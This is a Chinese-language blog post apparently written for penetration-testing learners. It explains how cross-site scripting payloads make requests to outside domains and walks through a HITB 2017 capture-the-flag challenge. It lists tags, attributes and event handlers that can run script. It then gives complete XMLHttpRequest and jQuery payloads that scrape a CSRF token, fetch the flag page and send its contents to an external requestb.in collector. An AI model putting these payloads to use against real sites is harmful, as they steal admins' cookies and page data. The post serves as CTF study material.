HeartSky's blog


在渗透之路上渐行渐远


浅谈 XSS 发送外域请求

在 xss 中,我们不只要通过 alert(1) 弹窗来验证是否存在 xss 漏洞,更多的是让管理员访问我们的 payload(比如后台审核留言) 来对外域发起请求从而获取管理员 cookie、后台地址、源码等。本文只介绍几种常见的方式,仅针对一般情况,并不针对有过滤和 CSP 的情况。

HTML 标签

第一类是 img、video、audio、iframe、a 等标签,他们的 src 或 href 属性可以让他们对外域发起请求。

第二类是含有可以执行 JS 的属性的标签,具体属性如下:

1
formaction action href xlink:href autofocus src content data

比如(虽然太明显了。跳转的话可能更适合 CTF 吧,毕竟不用考虑同源问题了。

1
2
3
<form>
<button formaction=javascript:location.href="xxx">click me
</form>

第三类是可以执行事件的标签,因为事件就是定义了发生一个动作后要执行的 JS 代码。有下面这些:

1
onload onunload onchange onsubmit onreset onselect onblur onfocus onabort onkeydown onkeypress onkeyup onclick ondbclick onmouseover onmousemove onmouseout onmouseup onforminput onformchange ondrag ondrop

注意下面几点:

  • 有闭合标签的标签可以不闭合标签,浏览器会自动帮其闭合
  • 任意一个标签都有 onclick 和 onmouseover 属性,包括自定义标签
  • 标签属性值之间可以用空格 TAB 换行符 加号

以及作为 XSS 来说最重要的 HTML 属性值是不能拼接的,因此不能通过第一类方法获取 cookie 等额外信息。不过 JS 的话是可以的。

JS 脚本

分为直接写出来 <script>xxxx</script> 和引入 <script src=xxxx></script> 的方式。

以 HITB 2017 的 Website 题为例,http://47.88.218.105:20010/action.php?callback=getInfo 是存在 xss 的,会无过滤的把 callback 参数值回显出来,而我们可以提交 URL,并且 bot 会模拟点击,所以我们可以提交一个我们的 php 页面让他跳转到这个页面,把 getInfo 替换成我们的 JS。

跳转

简单粗暴

1
2
3
document.location = xxx
location.href = xxx
window.location = xxx

因为这题因为 cookie 是 httponly 的,所以只能让管理员模拟 getFlag 请求然后再把结果页面发送回来,所以光跳转就不够用了,只能采用下面的方法

xhr(XMLHttpRequest)

通用 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<script type="text/javascript">
window.onload = function()
{
var html =document.body.innerHTML;
var xhr = new XMLHttpRequest();
xhr.open("GET","http://47.88.218.105:20010/getflag.php?csrftoken="+html.slice(html.indexOf('token')+8,html.indexOf("error")-3), "true");
xhr.onreadystatechange = function()
{
var xhr2 = new XMLHttpRequest();
xhr2.open("GET","https://requestb.in/xkto8txk?flag="+xhr.responseText,"true");
xhr2.send();
}
xhr.send();
}
</script>

jQuery

和上面的思路一样,但是换了种形式

1
2
3
4
5
6
7
<script src='https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
<script>
window.onload = function()
{
var html =document.body.innerHTML;
$.get('getflag.php?csrftoken='+html.slice(html.indexOf('token')+8,html.indexOf("error")-3),function(data){$.post('https://requestb.in/xkto8txk',{name:data});});}
</script>

值得注意的是 getflag.php 页面注入的 JS 是在 csrftoken 所在的 html 前面,因此要延时执行或者等整个页面加载完再执行,这个地方坑了我。

先这样,有需要再补充,明天早起赶火车 = =